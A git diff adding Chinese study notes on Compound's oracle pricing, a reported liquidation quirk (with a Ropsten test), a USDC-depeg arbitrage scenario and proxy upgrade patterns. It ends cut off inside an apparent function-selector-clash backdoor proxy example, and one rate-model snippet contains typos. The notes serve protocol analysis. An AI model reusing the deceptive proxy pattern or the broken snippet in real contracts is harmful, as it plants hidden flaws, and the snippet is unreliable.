+    uint ethPrice = fetchEthAnchorPrice();
+    require(config.priceSource == PriceSource.REPORTER, "only reporter prices get posted");
+    if (config.symbolHash == ethHash) {
+        anchorPrice = ethPrice;
+    } else {
+        anchorPrice = fetchAnchorPrice(config.symbolHash, config, ethPrice);
+    }
+}
+
+/**
+ * @dev Fetches the current eth/usd price from uniswap, with 6 decimals of precision.
+ *  Conversion factor is 1e18 for eth/usdc market, since we decode uniswap price statically with 18 decimals.
+ */
+function fetchEthAnchorPrice() internal returns (uint) {
+    return fetchAnchorPrice(ethHash, getTokenConfigBySymbolHash(ethHash), ethBaseUnit);
+}
+
+/**
+ * @dev Fetches the current token/usd price from uniswap, with 6 decimals of precision.
+ * @param conversionFactor 1e18 if seeking the ETH price, and a 6 decimal ETH-USDC price in the case of other assets
+ */
+function fetchAnchorPrice(bytes32 symbolHash, TokenConfig memory config, uint conversionFactor) internal virtual returns (uint) {
+    (uint nowCumulativePrice, uint oldCumulativePrice, uint oldTimestamp) = pokeWindowValues(config);
+
+    // This should be impossible, but better safe than sorry
+    require(block.timestamp > oldTimestamp, "now must come after before");
+    uint timeElapsed = block.timestamp - oldTimestamp;
+
+    // Calculate uniswap time-weighted average price
+    // Underflow is a property of the accumulators: https://uniswap.org/audit.html#orgc9b3190
+    FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((nowCumulativePrice - oldCumulativePrice) / timeElapsed));
+    uint rawUniswapPriceMantissa = priceAverage.decode112with18();
+    uint unscaledPriceMantissa = mul(rawUniswapPriceMantissa, conversionFactor);
+    uint anchorPrice;
+
+    // Adjust rawUniswapPrice according to the units of the non-ETH asset
+    // In the case of ETH, we would have to scale by 1e6 / USDC_UNITS, but since baseUnit2 is 1e6 (USDC), it cancels
+
+    // In the case of non-ETH tokens
+    // a. pokeWindowValues already handled uniswap reversed cases, so priceAverage will always be Token/ETH TWAP price.
+    // b. conversionFactor = ETH price * 1e6
+    // unscaledPriceMantissa = priceAverage(token/ETH TWAP price) * expScale * conversionFactor
+    // so ->
+    // anchorPrice = priceAverage * tokenBaseUnit / ethBaseUnit * ETH_price * 1e6
+    //             = priceAverage * conversionFactor * tokenBaseUnit / ethBaseUnit
+    //             = unscaledPriceMantissa / expScale * tokenBaseUnit / ethBaseUnit
+    anchorPrice = mul(unscaledPriceMantissa, config.baseUnit) / ethBaseUnit / expScale;
+
+    emit AnchorPriceUpdated(symbolHash, anchorPrice, oldTimestamp, block.timestamp);
+
+    return anchorPrice;
+}
+```
+
+接下来，简单看下 Uniswap 询价逻辑
+
+首先通过 `fetchEthAnchorPrice()` 从交易对 [USDC-WETH](https://etherscan.io/address/0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc) 获得按 USDC 计价 (单位 ${10}^{6}$ <!--<img src="https://render.githubusercontent.com/render/math?math={10}^{6}" />-->) 的 WETH 的价格，比如为 4351156768
+
+然后通过 `fetchAnchorPrice()` 从交易对 [DAI-WETH](https://etherscan.io/address/0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11) 获得按 WETH 计价 (单位 ${10}^{18}$ <!--<img src="https://render.githubusercontent.com/render/math?math={10}^{18}" />-->) 的 DAI 的价格，比如为 230097482692738
+
+上面两个价格相乘，得到 1001190219118269813150784
+
+最后，转换单位，得到按 USDC 计价的 DAI 价格，即上面的 1001190
+
+### 代理
+
+`UniswapAnchoredView` 自身可能升级，因此会存在新旧合约实例；升级过程中，我们必须保证两个合约的价格预言同步，且经过一段时间验证后，经由社区投票，用新合约代替旧合约，以此完成升级
+
+然而，依据 Chainlink 的设计，聚合器只能向一个合约地址发送喂价
+
+为了解决这个问题，在 Chainlink 聚合器与 Compound 之间，引入了一层代理合约 `ValidatorProxy`，它将聚合器的报价同时转发给新旧 `UniswapAnchoredView` 合约
+
+由于采用的是 报价 (push) 而非 询价 (pull) 的方式，更新价格的成本由 Chainlink 承担，因此 Compound 用户无须额外支付代理层带来的 gas
+
+审计报告见 [Sigma Prime: Chainlink ValidatorProxy Security Assessment Report](https://drive.google.com/file/d/1u12kitAyQKwe3mJVFh5ePzabTmwhjA2Y/view)
+
+代码在另一个仓库中: [smartcontractkit/chainlink](https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/ValidatorProxy.sol)
+
+``` js
+function validate(
+    uint256 previousRoundId,
+    int256 previousAnswer,
+    uint256 currentRoundId,
+    int256 currentAnswer
+) external override returns (bool)
+{
+    // Send the validate call to the current validator
+    ValidatorConfiguration memory currentValidator = s_currentValidator;
+    address currentValidatorAddress = address(currentValidator.target);
+    require(currentValidatorAddress != address(0), "No validator set");
+    currentValidatorAddress.call(
+        abi.encodeWithSelector(
+        AggregatorValidatorInterface.validate.selector,
+        previousRoundId,
+        previousAnswer,
+        currentRoundId,
+        currentAnswer
+        )
+    );
+
+    // If there is a new proposed validator, send the validate call to that validator also
+    if (currentValidator.hasNewProposal) {
+        address(s_proposedValidator).call(
+        abi.encodeWithSelector(
+            AggregatorValidatorInterface.validate.selector,
+            previousRoundId,
+            previousAnswer,
+            currentRoundId,
+            currentAnswer
+        )
+        );
+    }
+    return true;
+}
+```
+
+逻辑非常直白了..
diff --git a/defi/Compound/contract/Compound_Potential_Vulnerabilities_and_Improvements.md b/defi/Compound/contract/Compound_Potential_Vulnerabilities_and_Improvements.md
new file mode 100644
index 000000000..31b3ae417
--- /dev/null
+++ b/defi/Compound/contract/Compound_Potential_Vulnerabilities_and_Improvements.md
@@ -0,0 +1,298 @@
+Compound 潜在风险和改进
+
+之前在看 Compound 代码时，感觉存在一些疑问和改进
+
+其中有个疑问昨天得到了回复，趁着这个机会简单整理下笔记
+
+## 退出市场的资产，仍可被清算
+
+### 背景
+
+``` js
+// compound-protocol/contracts/Comptroller.sol
+
+function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) {
+    if (!markets[cToken].accountMembership[borrower]) {
+        // only cTokens may call borrowAllowed if borrower not in market
+        require(msg.sender == cToken, "sender must be cToken");
+
+        // attempt to add borrower to the market
+        Error err = addToMarketInternal(CToken(msg.sender), borrower);
+        if (err != Error.NO_ERROR) {
+            return uint(err);
+        }
+
+        // it should be impossible to break the important invariant
+        assert(markets[cToken].accountMembership[borrower]);
+    }
+}
+
+function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) {
+    Market storage marketToJoin = markets[address(cToken)];
+
+    if (!marketToJoin.isListed) {
+        // market is not listed, cannot join
+        return Error.MARKET_NOT_LISTED;
+    }
+
+    if (marketToJoin.accountMembership[borrower] == true) {
+        // already joined
+        return Error.NO_ERROR;
+    }
+
+    // survived the gauntlet, add to list
+    // NOTE: we store these somewhat redundantly as a significant optimization
+    //  this avoids having to iterate through the list for the most common use cases
+    //  that is, only when we need to perform liquidity checks
+    //  and not whenever we want to check if an account is in a particular market
+    marketToJoin.accountMembership[borrower] = true;
+    accountAssets[borrower].push(cToken);
+
+    emit MarketEntered(cToken, borrower);
+
+    return Error.NO_ERROR;
+}
+```
+
+Compound 在借款时会通过 `borrowAllowed()` 检查用户是否已经进入 `cToken` 市场
+
+如果未进入，会调用 `addToMarketInternal()` 将 `cToken` 添加到用户接触的资产列表 `accountAssets[borrower]` 中
+
+我查了下 `accountAssets[borrower]`，似乎只在 存款，借款，和计算用户健康度时使用
+
+其中前面两个操作 (存款，借款) 更多是类似声明的逻辑，没有什么疑点
+
+``` js
+// compound-protocol/contracts/Comptroller.sol
+
+function getHypotheticalAccountLiquidityInternal(
+    address account,
+    CToken cTokenModify,
+    uint redeemTokens,
+    uint borrowAmount) internal view returns (Error, uint, uint) {
+    // For each asset the account is in
+    CToken[] memory assets = accountAssets[account];
+    for (uint i = 0; i < assets.length; i++) {
+        CToken asset = assets[i];
+
+        // Too Long Not Listed.
+        // ...
+    }
+}
+```
+
+用户健康度计算代码如上，在计算 `account` 健康度时，遍历的是 `accountAssets[account]`
+
+如果用户此前发起退出某个资产市场的交易，如 USDC，则这个资产不在 `accountAssets[account]` 中
+
+这时，计算健康度会跳过用户的 USDC 资产
+
+### 清算
+
+上面梳理了背景逻辑，即：退出市场的资产，不会参与清算时用户健康度的计算
+
+内在含义是：该资产可以作为存款收取利息，但由于退出了市场，不会做为抵押物
+
+而在实际清算代码时，我没有找到有关清算交易指定的资产，是否不在用户的 `accountAssets` 列表中的判断
+
+即已经退出市场，不会作为抵押物的资产，可以被清算..
+
+``` js
+// compound-protocol/contracts/CToken.sol
+
+function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
+    /* Fail if repayBorrow fails */
+    (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
+    if (repayBorrowError != uint(Error.NO_ERROR)) {
+        return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
+    }
+
+    /* We calculate the number of collateral tokens that will be seized */
+    (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
+    require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
+
+    /* Revert if borrower collateral token balance < seizeTokens */
+    require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
+
+    // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
+    uint seizeError;
+    if (address(cTokenCollateral) == address(this)) {
+        seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
+    } else {
+        seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
+    }
+
+    return (uint(Error.NO_ERROR), actualRepayAmount);
+}
+```
+
+### 测试
+
+我担心存在理解偏差，于是在 Ropsten 网络上进行了测试：
+
+首先用账户 A 发送 [exitMarket](https://ropsten.etherscan.io/tx/0x7b71d5cf083eca8ab436126953f87573fb9d047dced373394ba2d6ae4621e0a2) 交易，将存入的 cETH 退出市场
+
+然后用账户 A 发送 [setUnderlyingPrice](https://ropsten.etherscan.io/tx/0xbb4691fdf1f81b9634375658862d7b7ec6ff7253e81f3896a6025bba11b1e54c) 交易，操纵预言机，模拟市场价格波动，使得账户 A 资不抵债
+
+最后用账户 B 发送 [liquidateBorrow](https://ropsten.etherscan.io/tx/0xa38099eb44664169e41e36d06ef0d72c241ddd0a4349e3f36f46506667c4c975) 交易，清算账户 A 的债务，指定以 cETH 为抵押物
+
+结论是：退出市场的 cETH 确实可以被清算
+
+### 问题
+
+问题来了：
+
+问题一：已经退出市场的资产，是否应该被清算？
+
+问题二：如果不应该被清算，那么进入市场和退出市场的逻辑，意义何在？
+
+综合考虑，我个人觉得 Compound 原意应该是不允许清算已退出市场的资产；理由如下：
+
+首先，用户在实际存款前必须单独发起进入市场的交易，考虑到 Compound 在以太坊主网运营，交易手续费不可忽视
+
+如果可以被清算，那么进入和退出市场的逻辑没有什么实际用途，在代码中也未找到其他用途
+
+其次，在退出市场前，Compound 提示如下
+
+<img src="../images/Disable_As_Collateral.jpeg" alt="Disable As Collateral" width="50%" height="50%" align="bottom" />
+
+但是，从另外一个角度来说，退出市场的资产，确实应该支持被清算，否则有损于系统健康度
+
+### 反馈
+
+两个角度都有道理，我没想明白，于是向 Compound 发送了邮件，一周后收到了回复：问题已知，已退出市场的资产可以被清算；提示文本看起来是有误导
+
+不过，我还是没明白：既然可以被清算，为什么要设计进入退出的功能，用户专门发起这两笔交易的手续费呢...
+
+<img src="../images/Liquidating_Exited_Asset.png" alt="Liquidating Exited Asset" width="50%" height="50%" align="bottom" />
+
+BTW，前两天 Aave V3 似乎也引入了 [资产隔离](https://governance.aave.com/t/introducing-aave-v3/6035) 的概念..
+
+## USDC 钉住 1 美元
+
+前面文章中有举例说明 Compound 价格预言机的流程，以 DAI 为例：首先向 USDC-WETH 交易对查询 WETH 价格，然后向 DAI-WETH 交易对查询 DAI 价格，最后将两者相乘，得到以 USDC 计价的 DAI 价格
+
+换句话说，Compound 中大部分 token 的价格是以 USDC 计价的
+
+这里隐藏了一个假设，USDC 价格是恒定不变的，可以作为计价单位
+
+``` js
+// https://github.com/smartcontractkit/open-oracle/blob/master/contracts/Uniswap/UniswapAnchoredView.sol
+
+function priceInternal(TokenConfig memory config) internal view returns (uint) {
+    if (config.priceSource == PriceSource.REPORTER) return prices[config.symbolHash].price;
+    // config.fixedPrice holds a fixed-point number with scaling factor 10**6 for FIXED_USD
+    if (config.priceSource == PriceSource.FIXED_USD) return config.fixedPrice;
+    if (config.priceSource == PriceSource.FIXED_ETH) {
+        uint usdPerEth = prices[ethHash].price;
+        require(usdPerEth > 0, "ETH price not set, cannot convert to dollars");
+        // config.fixedPrice holds a fixed-point number with scaling factor 10**18 for FIXED_ETH
+
+        return mul(usdPerEth, config.fixedPrice) / ethBaseUnit;
+    }
+}
+```
+
+实现上，Compound 对 USDC，USDT 等做了特殊处理，其 `priceSource` 配置为 `FIXED_USD`，钉在 1 美元
+
+在 USDC 价格波动时，可能会导致一些问题，比如 [这个提案](https://www.comp.xyz/t/floating-stablecoin-prices/2005) 描述的例子：
+
+假设 USDC 因监管或其他原因不断下跌，比如市场价格为 0.5 美元，而 Compound 仍认为其价值 1 美元
+
+由于存在价差，我们可以从外部市场低价借入 USDC，存入 Compound，将其高价抵押借出其他资产
+
+造成的结果是，市场价格不断下跌的 USDC 涌入 Compound，而其他资产被不断借出
+
+提案提出的问题，已经过去几个月了，没有得到官方回复..
+
+## 抵押率 与 清算阈值
+
+在比较 Compound 和 Aave 时，我发现 Compound 没有 [Aave 清算阈值 (Liquidation Threshold)](http://godorz.info/2021/10/aave-v2/#i-19) 的概念
+
+在用户体验上，这可能会带来一些问题：
+
+如果用户在 Compound 按最大抵押率借款，只要市场价格稍有波动，其抵押资产就会面临清算风险
+
+``` js
+// compound-protocol/contracts/Comptroller.sol
+
+function getHypotheticalAccountLiquidityInternal(
+    address account,
+    CToken cTokenModify,
+    uint redeemTokens,
+    uint borrowAmount) internal view returns (Error, uint, uint) {
+
+    AccountLiquidityLocalVars memory vars; // Holds all our calculation results
+    uint oErr;
+
+    // For each asset the account is in
+    CToken[] memory assets = accountAssets[account];
+    for (uint i = 0; i < assets.length; i++) {
+        CToken asset = assets[i];
+
+        vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
+
+        // Pre-compute a conversion factor from tokens -> ether (normalized price value)
+        vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
+
+        // sumCollateral += tokensToDenom * cTokenBalance
+        vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral);
+    }
+}
+```
+
+其中，在计算 `sumCollateral` 时，使用的是抵押率 `collateralFactor`
+
+--
+
+与之相对的，在 Aave 中，贷款时按抵押率计算，而清算时健康度按清算阈值计算；因为清算阈值比抵押率大，因此留出了安全垫
+
+引用链接中的例子：用户抵押价值 2 ETH 的资产，借出 1.575 ETH 的债务，此时健康度为 1.0476
+
+注意例子中的债务，是按资产的最大抵押率借出的；在这种情况下，可以忍受市场价格小范围的波动
+
+比如，市场价格短期波动，导致债务上涨 3% 时，此时健康度仍在 1 以上，用户资产不会面临清算风险
+
+## 隐患
+
+### 不在官方仓库中的代码
+
+比如价格预言机，还未被合并，见 [Compound 代币和价格预言](http://godorz.info/2021/11/compound_comp_and_price_oracles/#i-8)
+
+又如，官方仓库中 `Comptroller`，似乎也是[较老的版本](https://github.com/compound-finance/compound-protocol/blob/master/contracts/ComptrollerStorage.sol)；而主网实际使用的合约，是修复了 9 月底 COMP 安全事件的[版本](https://etherscan.io/address/0xbafe01ff935c7305907c33bf824352ee5979b526#code)
+
+--
+
+对于新入手 Compound 的开发者而言，要找到正确的代码，只能求助于 EtherScan 和搜索引擎，体验有点糟糕
+
+更重要的是，会导致接下来的问题：
+
+### 不同步的主网与测试网络
+
+考虑到链下数据不好维护，为了便于测试，可以在测试网使用模拟预言机作为 mock
+
+比如，最核心的 `Unitroller`，在 [主网](https://etherscan.io/address/0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B#readProxyContract) 与 [测试网络](https://ropsten.etherscan.io/address/0xcfa7b0e37f5AC60f3ae25226F5e39ec59AD26152#readProxyContract) 上部署的代码版本不同
+
+又如 `CErc20Immutable` 是旧代码，会导致 cToken [无法支持社区治理](https://www.comp.xyz/t/legacy-market-migration-wbtc/1333)。主网中这个合约已被废弃，但在测试中仍在使用，比如 Ropsten 中的 [cUSDC](https://ropsten.etherscan.io/address/0x2973e69b20563bcc66dC63Bde153072c33eF37fe#code)
+
+--
+
+主网与测试网络之间的不同步，除了削弱测试网络的意义，也增加了新开发者的理解成本
+
+要解决这个问题，首先要解决前面的问题，确保官方仓库与主网部署的合约代码一致
+
+这也就引出了更关键的问题：
+
+### 测试网络似乎没有发生作用
+
+[COMP 安全事件](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Compound/contract/%5B%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%5D%209%E6%9C%8829%E6%97%A5%20Compound%2062%E5%8F%B7%E6%8F%90%E6%A1%88%20%E6%89%80%E5%BC%95%E5%8F%91%E7%9A%84%E5%8F%AF%E6%80%95Bug.md) 暴露的问题比较严重：考虑到除了公开的测试网络之外，社区中还有不少开发者搭建着私人测试网络，而理论上，这个问题是必现的；
+
+我们似乎可以得出一个结论：Compound 的测试网络和 [测试代码](https://github.com/compound-finance/compound-protocol/tree/master/spec)，没有起到作用
+
+那么，Compound 协议安全如何保证呢？社区成员似乎也在担心，比如最近几天出现的提案 [Auditing Compound Protocol](https://www.comp.xyz/t/auditing-compound-protocol/2543)，[Continuous Formal Verification](https://www.comp.xyz/t/continuous-formal-verification/2557)
+
+--
+
+另外，还有代码与文档/产品之间的不同步，原始的升级模式等；限于个人视野未知全貌，某些理解可能存在局限，因此不做展开
+
+以上，一家之言，欢迎指正～
diff --git "a/defi/Compound/contract/Compound\345\220\210\347\272\246\345\215\207\347\272\247\346\250\241\345\274\217.md" "b/defi/Compound/contract/Compound\345\220\210\347\272\246\345\215\207\347\272\247\346\250\241\345\274\217.md"
new file mode 100644
index 000000000..4869cf57b
--- /dev/null
+++ "b/defi/Compound/contract/Compound\345\220\210\347\272\246\345\215\207\347\272\247\346\250\241\345\274\217.md"
@@ -0,0 +1,953 @@
+# **合约升级模式-以compound为例**
+
+![CompoundFinanceGuide.jpg](https://img.learnblockchain.cn/attachments/2021/08/bp4bGfJT610613d7ee0ee.jpg)
+
+> 本文为原创文章，如需转载请联系作者。
+
+在keegan小钢的文章：https://learnblockchain.cn/article/2618 提到了compound的合约升级模式，但是它并未详细的说明compound到底是怎样实现合约升级的，以及与penzepplin的合约升级对比，有什么优势。借助本篇文章，我们就详细讨论下compound的合约升级是如何实现，以及它的优缺点。
+
+本文的参考链接如下：https://blog.openzeppelin.com/the-state-of-smart-contract-upgrades/
+
+## **为什么需要合约升级**
+
+合约升级的需求来自于项目方，通常是程序员，而不是终端的用户。升级既被用作在出现漏洞时实施修复的保障，也被用作通过逐步增加新功能来迭代开发系统的手段。然而，以太坊合约本身的特质，即一旦部署将不可更改的特质，实施合约升级会引入技术上的复杂性，且降低了合约的去中心化程度。
+
+## **什么是智能合约升级**
+
+智能合约升级是一种可以任意改变地址中执行的代码的行为，同时保留了存储和余额。
+
+### **使用策略模式迭代功能**
+
+策略模式是改变合同中负责特定功能的部分代码的一个简单方法。你不需要在合约中实现一个函数来处理一个特定的任务，而是调用一个单独的合约来处理这个任务-通过切换该合约的实现，你可以有效地在不同的策略之间切换。
+
+以compound为例：
+
+它有不同的RateModel实现来计算利率，而且它的CToken合约可以在它们之间切换。直到这种变化仅用于系统的利率计算部分，就可以轻易的推出hot-fix来修复利率实现模型中的bug等。
+
+下面我们结合代码一起看一下，compound是如何使用策略模式来切换不同的利率模型实现的
+
+```
+//ctoken.sol
+function initialize(ComptrollerInterface comptroller_,
+                        InterestRateModel interestRateModel_,
+                        uint initialExchangeRateMantissa_,
+                        string memory name_,
+                        string memory symbol_,
+                        uint8 decimals_) public {
+    require(msg.sender == admin, "only admin may initialize the market");
+    require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
+    //设置利率模型
+    err = _setInterestRateModelFresh(interestRateModel_);
+    require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
+}
+```
+
+首先是cToken.sol中的初始化方法initialize接受一个类型为InterestRateModel的合约地址作为参数，然后InterestRateModel实质上是一个接口合约，其需要实现如下两个方法：
+
+```
+function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
+function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
+```
+
+然后是WhitePaperInterestRateModel和JumpRateModel，JumpRateModelV2等都继承该接口，并实现接口中定义的两个方法即可。
+
+```
+contract WhitePaperInterestRateModel is InterestRateModel {
+ //第一步：计算利用率：u=borrows/(cash+borrows-reserves)
+ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
+        // Utilization rate is 0 when there are no borrows
+        if (borrows == 0) {
+            return 0;
+        }
+        return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
+    }
+    //第二步：计算贷款利率：y=0.025+x*0.2 => 0.2(multiplierPerBlock), 0.025(baseRatePerBlock)
+    function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
+        uint ur = utilizationRate(cash, borrows, reserves);
+        return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
+    }
+    //第三步：计算存款利率：z=x*y*(1-reserveFactorMantissa), 部分贷款的利息会按照reserveFactorMantissa存入保证金中，故能够结算给存款的利率要扣除这部分进入保证金的利息
+    function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
+        uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
+        uint borrowRate = getBorrowRate(cash, borrows, reserves);
+        uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
+        return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
+    }
+}
+```
+
+然后是JumpRateModel，其也继承自InterestRateModel，并实现了InterestRateModel中定义的两个方法。与whitePaper不同的是，其计算贷款利率和存款利率时，增加了一个“拐点”，当利用率小于“拐点”时，单位块的利率multiplierPerBlock为一个较小值，当大于拐点时，multiplierPerBlock为一个较大的值。
+
+```
+contract JumpRateModel is InterestRateModel {
+    function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
+  int util = utilizationRate(cash,borrows,reserves);
+  if (util < kink) {
+   return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
+  } else {
+   uint normalRate = kink.mul(multiplierPerBlock).div(1ee18).add(baseRatePerBlock);
+   uint excessUtil = util.sub(kink);
+   return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
+  }
+ }
+}
+```
+
+## **合约升级的模式**
+
+![img](https://i1.wp.com/blog.openzeppelin.com/wp-content/uploads/2020/09/graph-01.png?resize=840%2C252&ssl=1)img
+由于代理合约proxy使用了delegatecall关键字，它将远程合约Impl的代码逻辑进行调用，同时保存自己的储存和账户余额。并保留了原始的msg.sender， 让用户总是只和代理合约Proxy交互，而对具体的实现逻辑合约视而不见。则实现合约的升级也变得非常的直接，通过改变代理合约Proxy中的实现合约Impl的地址，从而可以实现合约升级。而因为用户交互的始终都是代理合约Proxy，用户的状态也都保存在代理合约中，故无需特殊处理用户的状态迁移等操作。
+
+![img](https://i0.wp.com/blog.openzeppelin.com/wp-content/uploads/2020/09/graph-02.png?resize=840%2C420&ssl=1)img
+这种模式有另一个好处，即多个代理合约可以同时使用同一个远程逻辑合约
+
+![img](https://i2.wp.com/blog.openzeppelin.com/wp-content/uploads/2020/09/graph-03.png?resize=840%2C420&ssl=1)img
+我们需要定义合约的升级逻辑是如何实现的，而不同的合约升级逻辑就为不同的合约升级模式打开了大门
+
+### **合于升级管理函数**
+
+最简单的一种方式是在Proxy代理合约中，增加一个管理函数，让管理员来设置逻辑实现合约的地址。compound中也使用了这一模式，在unicontroller合约中，它添加了 转移Proxy所有权的函数，其impl合约需要接受转移，以防止意外地升级到无效的合同。
+
+```
+contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
+ address public admin;
+    address public pendingAdmin;
+    address public comptrollerImplementation;
+    address public pendingComptrollerImplementation;
+    
+ constructor(address _admin) {
+  admin = _admin;
+ }
+    //设置逻辑合约地址
+ function _setPendingImplementation(address newPendingImplementation) public returns (uint){
+  require(msg.sender == admin);
+  pendingComptrollerImplementation = newPendingImplementation;
+        return uint(Error.NO_ERROR);
+ }
+    //逻辑合约地址接受作为该proxy的逻辑合约
+    function _acceptImplementation() public returns (uint) {
+        require(msg.sender==pendingComptrollerImplementation && pendingComptrollerImplementation!=address(0));
+        comptrollerImplementation = pendingComptrollerImplementation;
+        pendingComptrollerImplementation = address(0);
+        return uint(Error.NO_ERROR);
+    }
+    //设置admin地址
+    function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
+     require(msg.sender == admin);
+        pendingAdmin = newPendingAdmin;
+        return uint(Error.NO_ERROR);
+    }
+    //admin地址接受作为该proxy的admin
+    function _acceptAdmin() public returns (uint) {
+     require(msg.sender == pendingAdmin && pendingAdmin != address(0));
+        admin = pendingAdmin;
+        return uint(Error.NO_ERROR);
+    }
+ fallback() external payable {
+  assembly{
+   let to := sload(0x02)
+   let ptr := mload(0x40)
+   let in_size := calldatasize()
+   calldatacopy(ptr,0,in_size)
+   switch delegatecall(gas(),to,ptr,in_size,0,0)
+    case 0 {
+     revert(0,0)
+    }
+    case 1 {
+     returndatacopy(ptr,0,returndatasize())
+     return(ptr,returndatasize())
+    }   
+  }
+ }
+}
+```
+
+这种模式的好处是，所有与升级有关的逻辑都包含在代理合约中，逻辑实现合约不需要任何特殊的逻辑来作为代理的目标。
+
+### **合于升级管理函数的弊端-函数选择器冲突**
+
+由于solidity中所有的函数调用都是通过函数选择器调用，即calldata的前4个bytes。函数选择器：
+
+由于4个bytes容量不大，因此可以发生selector碰撞事故，即两个签名不同的函数最终可能有相同的选择器：
+
+```
+function collate_propagate_storage(bytes16) external { }  
+=> 42966c684c869f2e2e56c232c00c827b4e8fcd1119259bd54a90d765bf17bbd6 => 42966c68
+function burn(uint256) external { } 
+=> 42966c689b5afe9b9b3f8a7103b2a19980d59629bfd6a20a60972312ed41d836 => 42966c68
+```
+
+这可能导致管理员无意中把代理升级到一个随机的地址，同时试图调用实现提供的一个完全不同的功能。
+
+即, 如下所示，如果用户想要调用impl合约中的collate_propagate_storage函数，其事实上会改为调用proxy合约中的burn函数，这不是用户的预期行为。比如：用户通过proxy代理调用impl中的malicious函数，其在内部会进一步调用collate_propagate_storage函数。
+
+```
+//proxy contract
+contract adminUpgradeableProxy{
+ address public admin;
+ address public impl;
+ constrctor(address _admin, address _impl) {}
+ fallback() external payable{}
+ function changeImpl(address _impl) {}
+ function burn(uint256 u) external {
+  //somelogic here
+ }
+ 
+}
+//impl contract
+contract impl{
+ address public admin;
+ address public impl;
+ function collate_propagate_storage(bytes16) internal { 
+     //another logic
+    }  
+    function malicious() external{
+        collate_propagate_storage(bytes16);
+    }
+}
+```
+
+上面这个例子其实不正确，因为internal函数在solidity编译过程中，并不会生成函数选择器，其只会是一个jump而已。可以参考如下的代码实现：
+
+```js
+/**
+ *Submitted for verification at Etherscan.io on 2018-05-11
+*/
+
+pragma solidity ^0.4.23;
+
+contract Proxy {
+  
+    function proxyOwner() public view returns (address);
+
+    function setProxyOwner(address _owner) public returns (address);
+
+    function implementation() public view returns (address);
+
+    function setImplementation(address _implementation) internal returns (address);
+
+    function upgrade(address _implementation) public {
+        require(msg.sender == proxyOwner());
+        setImplementation(_implementation);
+    }
+
+    function () payable public {
+        address _impl = implementation();
+
+        assembly {
+            calldatacopy(0, 0, calldatasize)
+            let result := delegatecall(gas, _impl, 0, calldatasize, 0, 0)
+            returndatacopy(0, 0, returndatasize)
+
+            switch result
+            case 0 { revert(0, returndatasize) }
+            default { return(0, returndatasize) }
+        }
+    }
+}
+
+
+contract UnstructuredStorageProxy is Proxy {
+
+    bytes32 private constant proxyOwnerSlot = keccak256("proxyOwnerSlot");
+    bytes32 private constant implementationSlot = keccak256("implementationSlot");
+
+    constructor(address _implementation) public {
+        setAddress(proxyOwnerSlot, msg.sender);
+        setImplementation(_implementation);
+    }
+
+    function proxyOwner() public view returns (address) {
+        return readAddress(proxyOwnerSlot);
+    }
+
+    function setProxyOwner(address _owner) public returns (address) {
+        require(msg.sender == proxyOwner());
+        setAddress(proxyOwnerSlot, _owner);
+    }
+
+    function implementation() public view returns (address) {
+        return readAddress(implementationSlot);
+    }
+
+    function setImplementation(address _implementation) internal returns (address) {
+        setAddress(implementationSlot, _implementation);
+    }
+
+    function readAddress(bytes32 _slot) internal view returns (address value) {
+        bytes32 s = _slot;
+        assembly {
+            value := sload(s)
+        }
+    }
+
+    function setAddress(bytes32 _slot, address _address) internal {
+        bytes32 s = _slot;
+        assembly {
+            sstore(s, _address)
+        }
+    }
+
+}
+
+contract ACL {
+    
+    address private role5999294130779334338;
+
+    address private role7123909213907581092;
+
+    address private role8972381298910001230;
+
+    function getACLRole5999294130779334338() public view returns (address) {
+        return role5999294130779334338;
+    }
+
+    function getACLRole8972381298910001230() public view returns (address) {
+        return role8972381298910001230;
+    }
+
+    function getACLRole7123909213907581092() public view returns (address) {
+        return role7123909213907581092;
+    }
+
+    function setACLRole7123909213907581092(address _role) public {
+        role7123909213907581092 = _role;
+    }
+
